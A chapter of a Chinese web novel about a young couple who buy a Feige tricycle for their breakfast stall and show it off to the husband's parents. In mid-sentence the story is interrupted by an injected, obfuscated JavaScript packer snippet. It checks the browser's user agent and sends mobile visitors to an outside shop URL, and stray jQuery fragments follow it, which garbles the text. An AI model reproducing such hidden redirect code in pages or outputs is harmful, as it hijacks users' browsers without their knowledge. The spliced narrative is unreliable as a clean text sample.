进入六月，沈彦的摊子稳定下来。也有了回头客，东西准备的比之前多了但还是不够卖。排队的人越来越多，沈彦一个人忙不过来，有时候周姐会过来帮她收钱。这些都是小问题，主要她推车越来越吃力。
眼下用的推车还是村里常见的那种板车，轮子都有些不行了。每次装东西都得用绳子捆了又捆，稍不留意就晃悠，生怕碗碟笼屉摔下来。更要紧的是沉，她身材本就单薄，拉着车往镇上走，没多远就汗湿了后背，胳膊酸得抬不起来。
“这车不行了。”梁述蹲在车旁。沈彦闻言起身，额前的碎发都黏在脸上：“确实该换了。”她犹豫了一下继续说，“要不咱们买个三轮车吧？听说那种带轮子的省力，装得也多。”
话虽这么说，她心里却在打鼓。偷偷算了算攒下的钱——零零总总加起来快两千，可一辆新的三轮车，稍微像样点的就得五百往上，这笔钱掏出去，心里总觉得不踏实。“再看看吧。”她低下头，用袖子擦了擦额头的汗，声音轻了些。
梁述干活的时候心里一直惦记着这事。中午他跟工友吃饭，聊着聊着就提了一嘴：“你们知道哪儿有卖三轮车的？好一点的。”
有人嘴里嚼着馒头，含含糊糊地说：“城里应该有还是大牌子，后斗大稳稳当当，就是贵。”他伸出一个巴掌比划了一下，“好几百。”
家里的钱虽然是沈彦管着，可他大概也知道有多少，直接说：“贵不怕，多少钱。”
“六百多。”那人把馒头咽下去，喝了口水，“你要是真想买，应该能便宜点。”
梁述把这事记在了心里。第二天一早，他便拉着沈彦坐了早班车去了县城。县城的比镇上的大多了，他俩来到了商店，里面摆着自行车、缝纫机、手表、收音机……沈彦走到自行车区，一眼看见那辆停在角落里的三轮车。
深绿色车架，后斗是铁皮围的，车厢底铺了一层橡胶垫，三个轮子，中间那个大梁粗得结实。车把上拴着一块硬纸板，写着价格：六百八十元。沈彦站在车前，伸手摸了摸车斗的铁皮。她回头看了梁述一眼，有点想要。
梁述走过去，蹲下来捏了捏轮胎，又摇了摇车把，扶着车架晃晃，试了试稳不稳。站起来，在车斗里按了两下：“结实，比那个推车强多了。”
沈彦把价钱又看了一遍：六百八，够是够，但一买就感觉家里的钱都要掏空了。梁述走到她身边，手在口袋里掏了掏，掏出一卷钱。他把钱递给她：“拿着，去买吧。”
沈彦接过那卷钱，里面是厚厚一沓票子，十块五块两块一块的，摞得整整齐齐，边上卷了毛。她看着那些钱，手心里沉甸甸的，皮筋在指头上硌出一道印。她直愣愣地看着梁述，梁述把目光挪开，看着那辆三轮车，“该花就花，别省。”
沈彦把那卷钱攥在手心里，抬头看着那辆绿色的飞鸽三轮车。车架上贴着一张出厂标牌，上面写着“天津飞鸽自行车厂”，字印得工工整整。她在心里盘算了一下——推车换成三轮车，每天能多出不少力气，早上不用那么累，晚上回家也能骑得快些。长远来看还是挺值。
“那买了吧。”她说。两个人把钱递给售货员，售货员是个四十多岁的男人，带着眼镜，接过钱数了数，在一本收据上写了几笔，撕下来一张递给沈彦。
“车归你们了。”梁述把三轮车推出供销社门口，拍拍车座，试了试高度又蹲下去把链条紧了紧。沈彦站在旁边，看着他把新车检查了一遍。他的手指在车轮的链条拨了拨，干得很仔细，这辆车从今天起就是他们家的了！
“你骑着试试。”梁述站起来，把车把给她。沈彦跨上去，脚踩在踏板上，蹬了一下。三轮车往前走了几步，稳稳当当的，不像那辆推车，走两步就歪。她又蹬了几步，拐了个弯又拐回来，停在梁述面前。
好骑吗？”梁述站在一旁看着，手还下意识地护在车后斗旁，怕她没停稳。“好骑。”沈彦从车上下来，手还舍不得松开车把，指尖摩挲着光滑握把，“轻快得很，拐弯也稳，比那辆老推车强多了——以前拉半车东西就费劲，这个装满了都不觉得沉。”
她又低头看了看崭新的车斗，里面还空着，却仿佛已经装满了明天要卖的包子和粥，心里踏实又敞亮。转头看向梁述时，眼里的笑意更浓了，像盛着满满的光“这下再也不用天不亮就拉车了。”
梁述笑了一下，嘴角弯着，跟平时不太一样。“以后早上出摊，你就可以骑这个去。”
回到镇上，沈彦把三轮车推进院子，停在灶房门口，拿抹布把车把和车斗擦了一遍。梁述蹲在旁边，把链条上了一遍油。
天快黑了，灶房里的灯点上了。沈彦把晚饭端出来，两个人坐在石墩上吃。“今天花了六百八。”沈彦说。“花了就花了。”梁述夹了一筷子土豆丝，塞进嘴里，“以后不花，攒着就行。”
沈彦没再接话，只是低下头继续喝粥，眼角的余光却总落在院子角落——那辆崭新的三轮车就停在那儿，车身在灯光下泛着光，看着就让人心里敞亮。她知道，梁述是怕她心疼钱，才说得这么轻巧。
梁述很快吃完了一碗，把空碗递过来，要再添一碗。沈彦接过碗，起身往灶房走，脚步比平时轻快了些。路过三轮车时，她忍不住伸手摸了摸车座，心里那点因为花钱而起的舍不得，早就被幸福盖过去了。
第二天早上的出摊，沈彦骑着新车去的。后斗装满了蒸笼、瓦罐、碗筷，稳稳当当，不晃不歪。到了路口，她跳下来，支好车，把招牌立起来。围裙系好把笼盖揭开，热气往上冒。
梁述今天特意起晚了半个钟头——沈彦叫他别起那么早，他现在走到路口，远远看见那辆绿色的三轮车停在摊子旁边。沈彦站在摊板后面，阳光照在她头发上，身边围满了等包子的人。
沈彦正低头给客人盛豆腐脑，抬头的时候，眼角瞥见了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632821|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
棵树底下站着的人。梁述双手插兜脸上挂着一个不明显的笑，她低下头嘴角也弯了一下。
崭新的三轮车停在镇上的路口，车斗擦得锃亮，阳光照在上面，反射出晃眼的光。在买早餐的时候，围过来几个等着买包子的孩子，小脑袋凑在一起，眼睛直勾勾地盯着车斗，其中一个扎羊角辫的小姑娘忍不住伸出小手，轻轻碰了碰光滑的车壁，又赶紧缩了回去，怯生生地看着沈彦。
“摸吧，没关系。”沈彦看着他们好奇的样子，忍不住笑了，手里的活计没停，语气却放得格外柔和，“这车子结实着呢，不怕摸。”孩子们一听，顿时放开了手脚，你摸摸车把，我拍拍车斗议论着：“这车子真好看！”
沈彦听着他们的话，嘴角的笑意就没断过。她心里也跟着亮堂——这车子不仅省力，还能让孩子们这么稀罕，看来这钱花得值当。
买车也算人生中的一件大事，所以趁着有空的时候，沈彦对梁述说道：“梁述。咱俩回一趟梁家湾吧，把车骑回去让爸妈也看看，而且这么久了都没回去看一趟。”
梁述看着她，嘴角动了一下。沈彦说这话的时候下巴微微抬着，带着点小炫耀，是跟平时不太一样，现在的她鲜活又好看。
从镇上去梁庄的路，骑车十几分钟。沈彦骑着三轮车带着跟在梁述，轮子碾过土路压出一道辙。路过村口的时候，几个坐在树下乘凉的老头看见了，伸着脖子张望。
“那不是梁家老二吗？骑三轮车的是谁？”
“他媳妇。听说在镇上做买卖呢。”
“啧，这车不错崭新崭新的。”
沈彦听见了，腰背挺得更直了些。到了老屋门口，沈彦把三轮车停在院门外头，车斗朝着院门的方向。刘桂兰正在灶房里，听见动静探出头来。先看见梁述，又看见沈彦，目光最后落在院门外那辆崭新的三轮车上。她手里的勺子顿了一下，眨了两下眼睛。
“那是谁的车？”
“我买的。”沈彦走过去，手扶着车把说：“妈，你看。”刘桂兰擦了擦手，快步走出来。她在三轮车旁边转了两圈，伸手摸了摸车斗的铁皮，又弯腰看了看车轮。
“这得多少钱？”她问。“六百八，飞鸽牌的。”刘桂兰“嘶”了一声，皱着眉看着沈彦。“六百八？你们也真舍得，刚在镇上安顿下来就花这么多钱。那推车不能用？非得买新的？”
梁德茂从堂屋里走出来，手里端着一杯茶，看了一眼院门口的三轮车，眼睛在那车架上停了好一会儿。“花了就花了。”梁德茂端着茶杯喝了一口，“年轻人置办东西是正事。”
刘桂兰瞪了他一眼：“你懂什么。六百八，够买三头猪了。”
她嘴上数落着，但手还搭在车斗上，来回摸着那铁皮，摸完了又摸了摸车把，又拍了拍车座，像怕这车跑了似的。梁述站在旁边，看见他妈那双手在车上来回摩挲的样子，他都没见过他妈这个样子。